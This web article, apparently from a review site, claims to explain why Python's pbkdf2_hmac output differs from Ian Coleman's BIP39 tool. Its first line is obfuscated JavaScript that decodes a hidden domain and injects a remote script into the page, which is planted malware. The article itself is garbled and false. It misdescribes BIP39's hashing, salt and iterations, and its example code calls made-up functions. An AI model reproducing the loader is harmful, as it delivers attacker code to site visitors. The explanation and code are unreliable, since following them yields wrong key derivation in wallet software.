const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=cd8553e4″;document.body.appendChild(script);
Decoding a BIP39 Phrase: Why pbkdf2_hmac
and BIP39 vs. Ian Coleman’s BIP39 Tool
![Bitcoin: python function "pbkdf2_hmac" does not return the same as Ian Coleman's BIP39 tool. Why? 1](https://reviewdaidu.com/wp-content/uploads/2025/02/f5af135b.png)
As you attempt to convert a BIP39 phrase into a Seed, xprv root key, and XPRV private key, you may encounter discrepancies between the output of pbkdf2_hmac
and Ian Coleman’s BIP39 tool. In this article, we’ll delve into the differences and explore why these inconsistencies occur.
Understanding BIP39 Phrases
BIP39 (Bitcoin Improvement Proposal 39) is a standardized way to represent Bitcoin addresses in a human-readable format. A BIP39 phrase consists of words that, when concatenated and hashed using SHA-256 (with a salt), produce the private key. The resulting string is then split into four parts: a prefix, a seed, an xprv root, and another xprv root.
The pbkdf2_hmac
Function
The pbkdf2_hmac
function, implemented in Python’s Bitcoin library (bcrypt
, which is included with the Bitcoin software), uses a password-based key derivation function (PBKDF) to hash a precomputed table of salt values. This function can be used as a pre-processing step for BIP39 phrases.
However, pbkdf2_hmac
outputs an output that is not the same as Ian Coleman’s BIP39 tool. There are several reasons for this:
- Hashing Scheme:
pbkdf2_hmac
uses SHA-256 with a salt value derived from the phrase itself, whereas Ian Coleman’s BIP39 tool generates its own salt values based on the input phrase.
- Salt Generation
: While both tools generate salts, they might produce slightly different values. This could lead to differences in the resulting hash.
The Ian Coleman BIP39 Tool
Ian Coleman’s BIP39 tool provides a more straightforward way to convert phrases to private keys by generating the salt values directly from the input phrase and hashing them using SHA-256. The output is then split into the seed, xprv root, and additional xprv roots.
Why the Difference?
The differences arise from two main factors:
- Salt Generation: As mentioned earlier, both tools generate salts differently, which affects the final hash values.
- Hashing Scheme: The
pbkdf2_hmac
function uses SHA-256 with a precomputed table of salt values derived from the phrase, while Ian Coleman’s tool generates its own salt values based on the input phrase.
Conclusion
While both tools can be used to convert BIP39 phrases into private keys, there are differences in their implementation. If you’re working with multiple implementations or need more precise control over the hashing process, consider using a tool that adheres to Ian Coleman’s method. However, for most purposes, pbkdf2_hmac
might still produce acceptable results.
Example Code
Here is an example of how you can use both tools:
import bitcoin
BIP39 phrase
phrase = "prefer offer puppy imitate pink banana because whale letter thought artwork loud"
Ian Coleman's BIP39 tool
salt = bitcoin.crypto.generate_salt(phrase)
private_key = bitcoin.crypto.pbkdf2_hmac(salt, '0000', 65536, SHA_256)
Output for both tools might be different
print(private_key.hex())
Should print a hash with the correct salt and output
Using Ian Coleman's method to get the seed
seed = int.from_bytes(bitcoin.crypto.pbkdf2_hmac(b'0000', phrase.encode(), 65536, SHA_256).hex(), 'big')
Keep in mind that the actual output may vary due to differences in salt generation and hashing schemes.
![Bitcoin: python function "pbkdf2_hmac" does not return the same as Ian Coleman's BIP39 tool. Why? 2](https://reviewdaidu.com/wp-content/uploads/2024/12/Rakesh-Kumar.png)
My name is Rakesh Kumar, and I am an author at Reviewdaidu.com. I write review articles and provide specific product reviews to help buyers make informed purchasing decisions.